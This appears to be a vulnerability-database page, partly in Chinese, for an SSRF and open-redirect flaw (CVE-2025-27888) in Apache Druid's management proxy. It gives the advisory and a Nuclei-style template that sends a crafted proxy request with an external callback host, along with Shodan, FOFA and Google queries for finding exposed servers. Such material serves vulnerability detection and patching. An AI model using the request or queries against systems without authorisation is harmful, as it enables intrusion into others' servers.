CVE-2025-27888: Apache Druid - Server-Side Request Forgery

日期: 2025-08-01 | 影响软件: Apache Druid | POC: 已公开

漏洞描述

Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.

PoC代码[已公开]

id: CVE-2025-27888

info:
  name: Apache Druid - Server-Side Request Forgery
  author: xbow,DhiyaneshDK
  severity: high
  description: |
    Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.
  reference:
    - https://lists.apache.org/thread/c0qo989pwtrqkjv6xfr0c30dnjq8vf39
    - http://www.openwall.com/lists/oss-security/2025/03/19/7
  classification:
    epss-score: 0.01678
    epss-percentile: 0.81512
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: druid
    shodan-query: http.title:"apache druid"
    fofa-query: title="apache druid"
    google-query: intitle:"apache druid"
  tags: cve,cve2025,apache,druid,ssrf,oast,oss

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/unified-console.html'

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Apache Druid")'
        internal: true

  - raw:
      - |
        GET /proxy/coordinator@{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
# digest: 4a0a0047304502210083294c8f65df05966012f53845ed2ad4bd001d35a9c18f198ddb1c05f029dfd30220527cebce62210f09f33f4afbf3c83907e30d9a27ac971479d3de47f2ce9c6d65:922c64590222798bb761d5b6d8e72950

相关漏洞推荐